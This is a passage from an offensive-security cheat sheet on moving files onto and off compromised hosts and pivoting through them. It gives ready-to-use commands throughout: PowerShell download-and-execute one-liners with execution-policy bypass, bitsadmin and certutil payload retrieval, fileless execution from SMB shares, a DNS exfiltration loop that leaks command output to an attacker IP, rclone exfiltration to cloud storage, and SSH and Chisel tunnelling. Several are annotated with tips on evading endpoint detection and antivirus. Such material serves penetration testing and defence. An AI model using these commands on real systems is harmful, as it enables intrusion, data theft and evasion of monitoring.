```bash
# Export example allowing the specified IP / CIDR range to mount <NFS_SERVER>:/nfs/
# The directory exported correspond to a directory inside the container (and not a directory on the host itself).
echo '/nfs/ <IP | CIDR>(rw,insecure,no_subtree_check,fsid=0,no_root_squash)' > <HOST_PATH_EXPORTS_FILE>

# Launch the docker container erichough/nfs-server and expose the NFS server on the host TCP port 2049.
docker run                                            \
  -v <HOST_SHARED_FOLDER>:/nfs                        \
  -v <HOST_PATH_EXPORTS_FILE>:/etc/exports:rw         \
  -e NFS_LOG_LEVEL=DEBUG                              \
  --cap-add SYS_ADMIN                                 \
  -p 2049:2049                                        \
  erichough/nfs-server
```

The `mount` utility can then be used to validate that the `NFS` directory is available:

```bash
# If using NFS 4.x+ versions, the NFS directory should not be specified (i.e <HOST_IP>:/ should be used, and not <HOST_IP>:/nfs).

mount -o vers=4.2 -t nfs <HOST_IP>:/ /mnt/test2
```

**\[Windows] PowerShell HTTP PUT request**

The PowerShell cmdlets `Invoke-WebRequest` and `Invoke-RestMethod` can be used to send a file, or directly a variable content, through a HTTP PUT request to a webserver (that should process the request and store the received PUT body):

```
Invoke-WebRequest -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Infile <FILE_PATH>
Invoke-RestMethod -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Infile <FILE_PATH>

Invoke-WebRequest -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Body <$VARIABLE>
Invoke-RestMethod -Method PUT -Uri "http://<IP>:<PORT>/<FILE>" -Body <$VARIABLE>
```

**\[Windows] Simulated keyboard**

A keyboard can be simulated, by emulating keystrokes, to send `base64`-encoded files on specifically hardened systems (that restrict the usage of the tools and utilities presented in this note and disable the clipboard). The simulated keystrokes may be used to write a file or in directly outputted into a PowerShell variable inside an interactive terminal.

The transfer time is however overwhelming long and this method is not adapted to larger files.

```
Function Invoke-SimulateKeyboard ($FilePath) {
  $Data = [IO.File]::ReadAllBytes($FilePath)

  $ms = New-Object System.IO.MemoryStream
  $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
  $cs.Write($Data, 0, $Data.Length)
  $cs.Close()

  $EncodedData = [System.Convert]::ToBase64String($ms.ToArray())

  Write-Host "Uncompressed data size: " $Data.Length
  Write-Host "Compressed data size (number of keystrokes required): " $EncodedData.Length

  TimeOut 2

  $EncodedData.ToCharArray() | ForEach-Object {[System.Windows.Forms.SendKeys]::SendWait($_)}
}

$FilePath = "<FILE_TO_TRANSFER>"

Invoke-SimulateKeyboard $FilePath
```

### Client side / file receiver

The following tools can be used to download file from a server client side.

File transfer is easier on Linux machines as `wget`, `curl` or `netcat` are often packaged with the operating system distribution.

On Windows machines, the process is usually not as straight forward but multiples methods can still be used. Transferring the `netcat` utility may simplify the subsequent files transfer.

**LOLBINS**

The most reliable tools and methods are presented below. For a more exhaustive list of tools that can be used to transfer files on and off a Windows machine, refer to `https://lolbas-project.github.io/#/download`.

To following commands can be used to retrieve the list of binaries present on the host.

```
# Windows
Get-ChildItem C:\ -recurse -file | ForEach-Object { if ($_ -match '.+?exe$') { write-host "$($_.Name),$($_.FullName)" }}

# Linux
find / -type f -executable -exec sh -c "file -i '{}' | grep -q 'x-executable; charset=binary'" \; -print
```

**\[Linux / Windows] echo & base64 encoding**

The Linux built-ins `echo` and `base64` and the Windows CMD built-ins `echo` and `certutil` can be used to easily transfer files on Linux / Windows systems.

Encode the file to be transferred using base64 server-side, copy it to the clipboard buffer, and decode it into a file client-side.

```
# Server-side (Linux)
base64 -w 0 <FILE> | xclip -selection clipboard

# Server-side (Windows). Newlines can be trimmed on Linux using sed.
certutil -encode <FILE> tmp_file_base64.txt
sed ':a;N;$!ba;s/\n//g' <FILE>

# Client-side - Linux
echo '<BASE64_FILECONTENT>' | base64 --decode > <OUTPUT_FILE>

# Client-side - Windows
echo <BASE64_FILECONTENT> > tmp_file_base64.txt
certutil -decode tmp_file_base64.txt <OUTPUT_FILE>
# del tmp_file_base64.txt
```

**\[Linux] wget**

```bash
wget <URL>
wget http://<IP>:<PORT>/<FILE>
wget -O <OUTPUT_FILE> http://<IP>:<PORT>t/<FILE>
wget -r --no-parent -nH --reject "index.html*" http://<IP>:<PORT>/<DIR>
```

**\[Linux] curl**

```bash
curl <URL> > <OUTPUT_FILE>
curl http://<IP>:<PORT>/<FILE> > <OUTPUT_FILE>
curl -O http://<IP>:<PORT>/<FILE>
```

**\[Linux / Windows] netcat**

```bash
# To be started before the transfer request is made server-side
# The ncat.exe from https://github.com/andrew-d/static-binaries/blob/master/binaries/windows/x86/ncat.exe or https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip offer a better compatibility across Windows systems

nc -lvnp <PORT> > <OUTPUT_FILE>
nc -lvnp <PORT> | tee <OUTPUT_FILE>
```

**\[Linux] socat**

```bash
# Similarly to nc, to be started before the transfer request is made server-side
socat -u TCP-LISTEN:<PORT>,reuseaddr OPEN:<FILE>,creat,trunc
```

**\[FreeBSD] fetch**

The FreeBSD built-in `fetch` can be used to retrieve a file by URL:

```
fetch <URL>
fetch -o <OUTPUT_FILE> http://<IP>:<PORT>/<FILE>
```

**\[Linux / Windows] Python**

```python
python -c "from urllib import urlretrieve; urlretrieve('http://<IP>:<PORT>/<FILE>', '<OUTPUT_FILE>')"
python3 -c "from urllib.request import urlretrieve; urlretrieve('http://<IP>:<PORT>/<FILE>', '<OUTPUT_FILE>')"
```

**\[Linux / Windows] Perl**

```perl
perl -le "use File::Fetch; my $ff = File::Fetch->new(uri => 'http://<IP>:<PORT>/<FILE>'); my $file = $ff->fetch() or die $ff->error;"
```

**\[Windows] Powershell**

The PowerShell cmdlets `Invoke-WebRequest`, `DownloadFile` and `New-PSDrive` can be used to download files from a remote web service or SMB share.

```powershell
Invoke-WebRequest -Uri <URL> -OutFile <OUTPUT_FILE>
(New-Object Net.WebClient).DownloadFile('http://<IP>:<PORT>/<FILE>', '<FULLPATH\FILENAME>');

# Load in memory and execute
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<FILE>'); Invoke-ImportedCMD"
echo IEX (New-Object Net.WebClient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<FILE>') | powershell -nop -exec bypass -

# Connect to a SMB share
New-PSDrive -Name "LocalMountedFolder" -PSProvider "FileSystem" -Root "\\<IP>\<SHARE>"; cd LocalMountedFolder:
```

**\[Windows] PowerShell remoting / WinRM**

Files or folders can be uploaded or downloaded on a remote system through a PowerShell remoting session (`WinRM`) using the `Copy-Item` cmdlet:

```
$s = New-PSSession [-Credential <PSCredential>] -ComputerName <HOSTNAME | IP>

# Downloads the file or folder from the remote computer locally.
Copy-Item -FromSession $s -Destination "<LOCAL_PATH>" "<REMOTE_FILE_PATH>"
Copy-Item -FromSession $s -Recurse -Destination "<LOCAL_PATH>" "<REMOTE_FOLDER_PATH>"

# Uploads the file or folder from the local computer to the remote computer.
Copy-Item -ToSession $s -Destination "<REMOTE_PATH>" "<LOCAL_FILE_PATH>"
Copy-Item -ToSession $s -Recurse -Destination "<REMOTE_PATH>" "<LOCAL_FOLDER_PATH>"
```

**\[Windows] VBScript**

`VBScript`, a Microsoft scripting language modeled on Visual Basic, can be used to transfer files (although larger files > 2MB tend to pose problem).

As the execution of VBScript may be restricted by GPO, the first step is to make sure VBScript can be used on the compromised machine:

```
echo WScript.StdOut.WriteLine "Successfully ran VBScript!" > test.vbs

cscript test.vbs
```

If `Successfully ran VBScript!` is printed on the console screen, VBScript can be executed on the target. On the contrary, if any of the following error messages is displayed, the usage of VBScript is restricted:

```
This program is blocked by group policy. For more information, contact your system administrator.
Access is denied.
```

The following CMD commands can be used to create a VBScript downloader (courtesy of @frizb):

```
# =< Windows 8 / Windows Server 2012
echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs & echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs & echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs

# Windows 10 / Windows Server 2016
echo dim xHttp: Set xHttp = CreateObject("MSXML2.ServerXMLHTTP.6.0")  > dl.vbs &echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> dl.vbs &echo xHttp.Open "GET", WScript.Arguments(0), False  >> dl.vbs &echo xHttp.Send >> dl.vbs &echo bStrm.type = 1 >> dl.vbs &echo bStrm.open >> dl.vbs &echo bStrm.write xHttp.responseBody >> dl.vbs &echo bStrm.savetofile WScript.Arguments(1), 2 >> dl.vbs
```

The VBScript can then be used to download files on the target:

```
cscript dl.vbs "http://<IP>:<PORT>/<FILE>" ".\<FILENAME>"
```

**\[Windows] SMB shares**

The Windows built-in utility `xcopy` can be used to download or upload files on a remote SMB share over the network:

```
# /Y: suppresses prompting to confirm the overwrite of an existing destination file
# /i: suppress prompting to confirm xcopy whether Destination is a file or a directory
# /q: Suppresses the display of xcopy messages

xcopy /Y /i /q "<LOCAL_FILE_PATH>" "\\<LHOST>\<SMB_SHARE>"
```

Additionally, SMB shares can be accessed and mounted using the Windows `net` command-line utility. Once mounted the drive can be accessed as a local drive.

The most interesting feature of using SMB is the fact that files can be directly executed over the SMB Share without the needed to write them to the target machine file system, effectively resulting in file less execution.

```
# Confirm the SMB share is accessible
net view \\<HOSTNAME | IP>\<SHARE_NAME>

# Direct execution through CMD shell
\\<HOSTNAME | IP>\<SHARE_NAME>\<FILE>

# Mount the share to the S: drive
net use S: \\<HOSTNAME | IP>\<SHARE_NAME>
net use S: \\<HOSTNAME | IP>\<SHARE_NAME> /user:<DOMAIN>\<USERNAME> <PASSWORD>

# Direct access without mounting
dir \\<HOSTNAME | IP>\<SHARE_NAME>
copy \\<HOSTNAME | IP>\<SHARE_NAME>\<FILE> .
```

**\[Windows] BITS**

`Background Intelligent Transfer Service (BITS)` is a Microsoft Windows component developed to asynchronously transfer files with a reduced network bandwidth usage. It is notably used by `Windows Server Update Services (WSUS)` and `System Center Configuration Manager (SCCM)` servers to deliver updates to Windows clients. Others third-party software, such as Firefox and Google Chrome, also rely on `BITS` to download their updates on Windows operating systems. `BITS` supports transfers over the `SMB`, `HTTP` and `HTTPS` protocols.

`BITSAdmin` is a Windows command-line built-in utility that can be used to create, download or upload files using `BITS`. Note that `BITSAdmin` will not attempt the download if the security context under which its executed does not have the permission to write files on the specified output path.

Due to its possible legitimate usage, download of files through `bitsadmin` may not be identified as malicious by `Endpoint Detection and Response` products.

```
# Download the remote file.
bitsadmin /transfer <job | JOB_NAME> http://<IP | HOSTNAME>:<PORT>/<FILE> <OUTPUT_FILE_PATH>

# Upload the local file to the remote location.
bitsadmin /transfer <job | JOB_NAME> /upload http://<IP | HOSTNAME>:<PORT>/<FILE> <INPUT_FILE_PATH>
```

Note that downloaded files can be directly and executed using `bitsadmin`:

```
bitsadmin /create <JOB_NAME>
bitsadmin /addfile <JOB_NAME> http://<IP | HOSTNAME>:<PORT>/<FILE> <OUTPUT_FILE_PATH>
bitsadmin /SetNotifyCmdLine <JOB_NAME> <OUTPUT_FILE_PATH> NUL
bitsadmin /SetMinRetryDelay <JOB_NAME> 60
bitsadmin /resume <JOB_NAME>
```

The PowerShell `Start-BitsTransfer` may be used as well to download / upload files through `BITS`:

```
# Download the remote file(s) using HTTP/S or SMB.
Start-BitsTransfer -Source "http://<IP | HOSTNAME>:<PORT>/<FILE>" -Destination "<OUTPUT_FILE_PATH>"
Start-BitsTransfer -Source "\\<IP | HOSTNAME>\<SHARE>\<FILE | *>" -Destination "<OUTPUT_FILE_PATH>"

# Upload the local file(s) to the remote location using HTTP/S or SMB.
Start-BitsTransfer -TransferType Upload -Source "<INPUT_FILE_PATH>" -Destination "http://<IP | HOSTNAME>:<PORT>/<FILE>"
Start-BitsTransfer -TransferType Upload -Source "<INPUT_FILE_PATH | *>" -Destination "\\<IP | HOSTNAME>\<SHARE>\"
```

Note that while the `Start-BitsTransfer` cmdlet supports the specification of alternative `PSCredential` credentials with the `-Credential` parameter, the functionality is currently bugged. Instead, a temporary drive mapping should be created using the `New-PSDrive` cmdlet (`PowerShell 3.0`) or `WScript.Network` object.

```
New-PSDrive -Credential <PSCredential> -Name "<DRIVE_NAME>" -PSProvider "FileSystem" -Root "\\<IP | HOSTNAME>\<SHARE>\"

$net = new-object -ComObject WScript.Network
$net.MapNetworkDrive("<DRIVE_LETTER>", "\\<IP | HOSTNAME>\<SHARE>\", $false, "<DOMAIN | WORKGROUP>\<USERNAME>", "<PASSWORD>")

Start-BitsTransfer -Source "<DRIVE_NAME | DRIVE_LETTER>:\<FILE | *>" -Destination "<OUTPUT_FILE_PATH>"
```

**\[Windows] CertUtil**

`CertUtil` is a Windows command-line tool designed to manage `Certification Authority (CA)` and certificates. One of its feature is the ability to download files from a remote webserver by specifying an `URL`.

Note that the usage of `CertUtil` is monitored by most `Endpoint Detection and Response` products and downloads through `CertUtil` may generate detection alerts.

```
certutil -urlcache -split -f http://<IP>:<PORT>/<FILE> <FILENAME>
```

**\[Windows] desktopimgdownldr.exe**

`desktopimgdownldr` is a Windows built-in utility, initially designed to set desktop or background screen, that can be used to download arbitrary files from a web server.

The `SYSTEMROOT` environment variable is used by `desktopimgdownldr` to determine the output folder and can thus be used to specify an arbitrary output folder.

```
# Files will be downloaded as "LockScreenImage_<RANDOM>.ext" to "<OUTPUT_FOLDER>\Personalization\LockScreenImage\LockScreenImage\"
set "SYSTEMROOT=<C:\Windows\Temp | OUTPUT_FOLDER>" && cmd /c desktopimgdownldr.exe /lockscreenurl:http://<IP>:<PORT>/<FILE> /eventName:desktopimgdownldr
```

**\[Windows] findstr**

`findstr` is a Windows utility used for searching patterns of text in files.

The following command can be used to search the string DoNotExist123456789 in the specified remote file and, since it does not exist (/V), download it.

```
findstr /V /L DoNotExist123456789 \\<HOSTNAME | IP>\<SHARE_NAME>\<FILE> > <OUTPUT_FILE_PATH>
```

**\[Linux / Windows] FTP**

To download file interactively:

```
ftp -A <SERVERIP>
```

Paste the following commands into a remote Windows shell and download files over FTP non-interactively (replace by anonymous if using anonymous login):

```
# Windows
echo open <IP> <PORT> > ftp.txt
echo USER <USERNAME> >> ftp.txt
echo PASS <PASSWORD> >> ftp.txt
echo bin >> ftp.txt
echo GET <FILENAME> >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
```

In case of AV errors while trying to download a binary, omit the exe extension.

**\[Windows XP & 2003] TFTP**

TFTP is a simple protocol for transferring files, implemented on top of the UDP/IP protocols. TFTP was designed to be small and easy to implement, and therefore it lacks most of the advanced features offered by more robust file transfer protocols. TFTP only reads and writes files from or to a remote server. It cannot list, delete, or rename files or directories and it has no provisions for user authentication.

Windows operating systems up to Windows XP and 2003 contain a TFTP client, by default. In Windows 7, 2008, and above, this tool needs to be explicitly added, during installation.

```
tftp -i <SERVERIP> GET <FILENAME>
```

**\[Linux / Windows] SCP / PuTTY pscp**

The Linux `Secure Copy` and Windows `PuTTY`'s `pscp` utilities can be used to transfer files over `SSH` and can notably be used to retrieve and upload files from a compromised target exposing a `SSH` service.

```
# The scp utility can be replaced by pscp in the following commands for transfer from a Windows computer.

# Download remote <FILENAME> from <HOSTNAME | IP>
scp <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME> <. | DOWNLOADED_PATH>
scp -i <KEY> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME> <. | DOWNLOADED_PATH>
# Download all files in the remote <DIRECTORY> of <HOSTNAME | IP> to the local <LOCAL_DIRECTORY>
scp -r <USERNAME>@<HOSTNAME | IP>:<DIRECTORY> <LOCAL_DIRECTORY>


# Upload <LOCAL_FILENAME> to <HOSTNAME | IP>
scp <LOCAL_FILENAME> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME>
scp -i <KEY> <LOCAL_FILENAME> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>/<FILENAME>
# Upload all files in the <LOCAL_DIRECTORY> to <HOSTNAME | IP>
scp -r <LOCAL_DIRECTORY> <USERNAME>@<HOSTNAME | IP>:<DIRECTORY>
```

**\[Windows] WinSCP**

`WinSCP` is a file transfer graphical utility for Microsoft Windows, available as an installed program and a standalone binary. `WinSCP` support the following protocols / services:

* `FTP`
* `SFTP`
* `SCP`
* `WebDAV`
* Amazon `S3` buckets

`WinSCP` supports key-based authentication using `PuTTY Private Key File (.pkf)` as well as `SSL` based private keys.

**\[Linux / Windows] Metasploit meterpreter**

The `Metasploit` `meterpreter` commands `download` and `upload` can be used to download / upload a specific file or to recursively download / upload directories and their contents.

```
meterpreter> download <FILENAME>
meterpreter> download -r <DIRECTORY>

meterpreter> upload <FILENAME>
meterpreter> upload -r <DIRECTORY>
```

**\[Linux / Windows] Python webserver processing PUT requests**

The following Python code extends the Python `SimpleHTTPServer` module to process HTTP PUT request and store, in the directory the script was started, the PUT request body content as a file. The filename is specified in the URL requested.

Original author: Floating Octothorpe, `https://f-o.org.uk/2017/receiving-files-over-http-with-python.html`.

```
#!/usr/bin/env python

"""Extend Python's built in HTTP server to save files

curl or wget can be used to send files with options similar to the following

  curl -X PUT --upload-file somefile.txt http://localhost:8000
  wget -O- --method=PUT --body-file=somefile.txt http://localhost:8000/somefile.txt

__Note__: curl automatically appends the filename onto the end of the URL so
the path can be omitted.

"""
import os
try:
    import http.server as server
except ImportError:
    # Handle Python 2.x
    import SimpleHTTPServer as server

class HTTPRequestHandler(server.SimpleHTTPRequestHandler):
    """Extend SimpleHTTPRequestHandler to handle PUT requests"""
    def do_PUT(self):
        """Save a file following a HTTP PUT request"""
        filename = os.path.basename(self.path)

        # Don't overwrite files
        if os.path.exists(filename):
            self.send_response(409, 'Conflict')
            self.end_headers()
            reply_body = '"%s" already exists\n' % filename
            self.wfile.write(reply_body.encode('utf-8'))
            return

        file_length = int(self.headers['Content-Length'])
        with open(filename, 'wb') as output_file:
            output_file.write(self.rfile.read(file_length))
        self.send_response(201, 'Created')
        self.end_headers()
        reply_body = 'Saved "%s"\n' % filename
        self.wfile.write(reply_body.encode('utf-8'))

if __name__ == '__main__':
    server.test(HandlerClass=HTTPRequestHandler)
```

```
# Works with Python2 and Python3
python http_put_server.py
```

### DNS exfiltration

**Limited exfiltration using built-in utilities**

DNS queries can be used to exfiltrate data through the requested domain name.

```
# Listener
tcpdump -i <INTERFACE> udp port 53
# Every Responder's servers can be turned off in Responder.conf, except for the DNS service
responder -i <INTERFACE>

# Linux
<COMMAND> | while read data; do datab64=`echo $data | base64 -w 0`; host $datab64.ex.data <IP>; done

# Windows
nslookup <%VARIABLE%> <IP>
# The DOS for loop only output the number of columns specified by the tokens parameter. 1 = %a, 2 = %b, etc.
for /f "tokens=1,2,3" %a in ('<COMMAND>') do nslookup %a.%b.%c <IP>

cmd.exe /c "for /f ""tokens=1,2,3"" %a in ('<COMMAND>') do nslookup %a.%b.%c <IP>"
```

### rclone

`rclone` is a command line utility written in `Go` to download / upload files and directories to and from over 40 cloud storage providers. In addition to more classical file upload services (`FTP`, `SFTP` / `FTPS`, `Webdav`, etc.), `rclone` supports a number of cloud services: `MEGA`, `Google Drive`, `Microsoft OneDrive`, `Amazon S3 buckets`, `Azure Blob Storage`, etc.).

`rclone` provides cloud equivalents to the `unix` common commands `cat`, `ls`, `mkdir`, `cp`, `mv`, `mount`, etc. commands. It supports multi-retries and verifies file operations using checksums.

It is notably used by some threats actors to exfiltrate files to online file storage and cloud provider with out raising suspicion.

```bash
# Lists the supported services.
rclone help backends

# Configures a remote through an interactive configuration prompt.
rclone config

# Lists all the configured remotes.
rclone listremotes

# Displays information of the configured remotes (by printing the decrypted config file).
rclone config show

# Files operation to respectively list files, create a (product-specific) folder, print / upload / download / delete a file.
rclone ls <REMOTE_NAME>:
rclone tree <REMOTE_NAME>:
rclone mkdir <REMOTE_NAME>:<FOLDER_NAME>
rclone cat <REMOTE_NAME>:<FILE_PATH>
rclone copy <LOCAL_FILE> <REMOTE_NAME>:<FILE_PATH>
rclone copy <REMOTE_NAME>:<FILE_PATH> .
rclone deletefile <REMOTE_NAME>:<FILE_PATH>
# Recursively delete all files in the specified remote / (product-specific) folder.
rclone delete <REMOTE_NAME>:
rclone delete <REMOTE_NAME>:/<FOLDER>/

# Mount the specified remote as a local filesystem mountpoint (blocking execution).
rclone mount <REMOTE_NAME>: <LOCAL_MOUNTPOINT_PATH>

# Example to configure a Microsoft Azure blob remote, copy a local file to the remote and validate the copy by listing and printing the created file.
rclone config create <REMOTE_NAME> azureblob account <STORAGE_ACCOUNT_NAME> key <STORAGE_ACCOUNT_KEY>
rclone copy <LOCAL_FILE> <REMOTE_NAME>:/<STORAGE_ACCOUNT_CONTAINER>/
rclone ls <REMOTE_NAME>:
rclone cat <REMOTE_NAME>:/<STORAGE_ACCOUNT_CONTAINER>/<FILE_NAME>
```

***

### References

<https://lolbas-project.github.io/>

<https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/>

<https://github.com/frizb/Windows-Privilege-Escalation>

<https://github.com/cube0x0/CVE-2021-1675>

<https://www.giac.org/paper/gcwn/22/limiting-anonymous-logon-network-access-named-pipes-shares/100328>


# Pivoting

### Overview

**Local port forwarding**

In local port forwarding, a port on the local system (usually attacking machine) is routed to a port on a remote server. For example, a compromised Internet facing server exposing a SSH service could be used to route traffic to the SMB ports of internal servers to conduct `PsExec` like connections directly from the attacking system without the need to deploy tools on the compromised server.

For instance, if using `SSH` tunneling, the `SSH client` will listen on the specified port (locally) and will tunnel any connection to that port to the specified port on the remote `SSH server`. The remote `SSH server` then connects to a port on the destination machine which can be the remote SSH server itself or any other machine accessible from the remote SSH server.

**Remote port forwarding**

Conceptually similar to the local port forwarding, the remote port forwarding can however be used for the opposite effect. Indeed, in remote port forwarding, the forwarding service will open a listening port on the server and will route any connection received on this port to the configured host and port.

For instance, if using `SSH` tunneling, the `SSH server` will listen on the specified port and will tunnel any connection to that port to the specified port on the local `SSH client`. The local `SSH client` then connects to a port on the destination machine, which can be the local machine (i.e the machine running the `SSH client`) or any other machine accessible from the local machine.

**Dynamic ports forwarding**

Contrary to local and remote port forwarding, dynamic ports forwarding allows for the complete tunneling of full IP and ports range. Thus, dynamic ports forwarding can be used to pivot into the internal network from a compromised host and access any servers and their services.

In dynamic port forwarding, the forwarding service will serve as a proxy, routing all connections to their destination, and a utility such as `proxychains` will be used to redirect tools connections to the listening forwarding service proxy port.

**SOCKS proxy pivots**

`SOCKS` is an Internet protocol that performs at Layer 5 of the `Open Systems Interconnection model (OSI model)` and exchanges network packets between a client and a server through a proxy server. Practically, a `SOCKS` service proxies `TCP` / (in some case) `UDP` connections to an arbitrary IP address and can thus be used on a compromised system to route traffic from the C2 servers to internal hosts, effectively transforming the compromise system in a pivot.

`SOCKS` proxies can only forward `TCP`, and, for the `socks5` proxy following the current `Request for comment (RFC)` specifications, `UDP` traffic.

These restrictions may impose specific tuning of tools in order for an use through a `SOCKS` proxy. For instance, `nmap` should be used with the following options to run a ports / services scan through a `SOCKS` proxy: `nmap -n -Pn -sT [...]`.

Commands network traffic an be proxied through a `SOCKS` proxy service using `proxychains` on Linux:

```
# Specification of the HTTP/HTTPS proxy address in /etc/proxychains.conf or passed as argument to proxychains using the CLI "-f" option.
[ProxyList]
socks4 <127.0.0.1 | SOCKS_PROXY_IP> <SOCKS_PROXY_PORT>
socks5 <127.0.0.1 | SOCKS_PROXY_IP> <SOCKS_PROXY_PORT>

# Execution of commands through proxychains.
proxychains [...]
```

On Windows, the `Proxifier` graphical utility can be used to tunnel specific processes network traffic through a `SOCKS` proxy:

```
# SOCKS proxy settings configuration
Profile -> Proxy Servers... -> Add -> Specification of the SOCKS proxy configuration: Address, Port and Protocol (SOCKS Version 5 or SOCKS Version 4) -> Ok
An authentication may also be specified and the proxy status and availability checked by establishing a connection and trying to reach www.google.com:80 through the proxy server.

# Processes specification
Profile -> Proxification Rules... -> Add -> Specification of the processes and proxy server: Applications, Target hosts / ports, Action (Proxy server) -> Enabled should be checked (by default) -> Ok
```

Additionally, a `SOCKS` proxy can be specified through the `Internet Options` (settings used by the `Internet Explorer`, `Edge`, and `Chrome` web browsers) graphical utility and set as the system-wide `Microsoft Windows HTTP Services (WinHTTP)` proxy using `netsh`.

```
Control Panel -> Internet Options -> Connections -> LAN settings
  "Use a proxy server for your LAN [...]" checked
  (Optional) "Bypass proxy server for local addresses" checked
  Advanced -> Socks: <127.0.0.1 | SOCKS_PROXY_IP> <SOCKS_PROXY_PORT>

netsh winhttp import proxy source=ie

# Lists the configured proxies.
netsh winhttp dump
  [...]
  set proxy proxy-server="socks=<SOCKS_PROXY_IP>:<SOCKS_PROXY_PORT>" bypass-list="<local>"

# Restore the WinHTTP default proxy settings (no proxies).
netsh winhttp reset proxy
```

The proxy can also be directly set in the registry, for instance using PowerShell:

```
# Enables the proxy server.
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t REG_DWORD /d 1 /f
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name "ProxyEnable" -Value 1

# Set the proxy server to the specified server.
REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyServer" /t REG_SZ /d "<IP>:<PORT>" /f
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name "ProxyServer" -Value "<IP>:<PORT>"

# If needs be, set the proxy server to use the specified (remote) PAC file.
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' -name "AutoConfigURL" -Value "<http | https>://<URL>"
```

Note that however both methods prove to be unreliable to proxy PowerShell cmdlets network traffic through the `SOCKS` proxy (while some cmdlets, such as `Invoke-Command` and `Enter-PSSession` can be reliably proxied through a system-wide `HTTP` / `HTTPS` proxy).

In `metasploit`, the `setg Proxies socks4:<127.0.0.1 | IP>:<SOCKS_PROXY_PORT>` command can be used to tunnel modules through a `SOCKS` proxy.

### Pivoting with built-in utilities

#### \[Linux] SSH

SSH port forwarding is a mechanism that allows for connection tunneling through a SSH service.

They are three main types of SSH port forwarding: local port forwarding, remote port forwarding and dynamic port forwarding.

**SSH local port forwarding**

The following command can be used to configure a local port forwarding through an SSH service:

```bash
# -n: no keyboard input to be expected (redirects stdin from /dev/null, actually preventing reading from stdin)
# -N & -T: prevents the opening of a tty session and specify that no command be executed

ssh -nNT -L <LOCAL_PORT>:<TARGET_HOSTNAME | TARGET_IP>:<TARGET_REMOTE_PORT> <USERNAME>@<SSH_HOSTNAME | SSH_IP>
```

Once the above command is completed, the specified target port will be accessible locally on the attacking machine at the `<LOCAL_PORT>`.

Note: local port forwarding can be used to access locally (`localhost`) exposed services on the SSH server.

**SSH remote port forwarding**

The following command can be used to configure a remote port forwarding through an SSH service:

```bash
# By default the bind address will be localhost on the remote SSH, even if all interfaces are specified.
# The SSHD daemon configuration (/etc/ssh/sshd_config) should be updated to allow client specified binding: GatewayPorts clientspecified

ssh -nNT -R [<0.0.0.0 | REMOTE_INTERFACE>:]<TARGET_REMOTE_PORT>:<TARGET_HOSTNAME | TARGET_IP>:<SSH_SERVER_LOCAL_PORT> <USERNAME>@<SSH_HOSTNAME | SSH_IP>
```

**SSH dynamic ports forwarding**

The following commands can be used to configure the SSH service in proxy mode and redirect tools connections through it:

```bash
ssh -nNT -D <LOCAL_PORT> <USERNAME>@<SSH_HOSTNAME | SSH_IP>
```

#### \[Windows] netsh

On Windows, the `netsh` built-in can be used to configure unitary port forwarding.

As stated in the Microsoft `KB555744`, "the \[`portproxy add v4tov4]` command is sent to the `IPV6MON.DLL` helper, and because of that it will work only if `IPv6` protocol is installed."

```bash
# Display current configured port forwarding rule
netsh interface portproxy show all

# Configure a local port forwarding
netsh interface portproxy add v4tov4 listenaddress=<LHOST> listenport=<LPORT> connectaddress=<RHOST> connectport=<RPORT>
```

#### \[Linux] iptables

TODO

### Pivoting with fully-fledged tools or C2 agents

#### \[Linux / Windows] Chisel

*Recommended fully-fledged tool for its ease of use if no C2 is being used.*

`Chisel` is a fast `TCP` / `UDP` encapsulation `Go` tool that transport `SSH`-encrypted traffic over `HTTP`. It supports mutual client / server authentication and numerous user-experience features (client auto-reconnects, multiple tunnel over one TCP connection, etc.).

```bash
# Generic server-side usage (on the attacking machine).
# Defaults to listening on all interfaces on port TCP 8080.
# Option --reverse: allow clients to specify reverse port forwarding (required for remote port forwarding and SOCKS proxy with "R:" in <REMOTE>).
# Option --socks / --socks5: allow clients to access the internal SOCKS5 proxy.
chisel server [--host <0.0.0.0 | SERVER_IP>] [-p <8080 | PORT>] [--reverse --socks5] [<OPTIONS>]

# Generic client-side usage (on the target machine).
# <REMOTE> represents a local / remote port forward or SOCKS proxy (detailed below)
chisel client <SERVER_IP>:<SERVER_PORT> <REMOTE>[/<TCP | UPD>]

# If required, for example in enterprise environments, an HTTP CONNECT or SOCKS5 proxy can be specified using the --proxy option.
# To date, NTLM authentication on proxy is not supported by chisel: https://github.com/jpillora/chisel/issues/149
chisel client --proxy <http | socks>://<USERNAME>:<PASSWORD>@<PROXY_SERVER>:<PROXY_PORT> <SERVER_IP>:<SERVER_PORT> <REMOTE>[/<TCP | UPD>]
```

**Chisel local port forwarding**

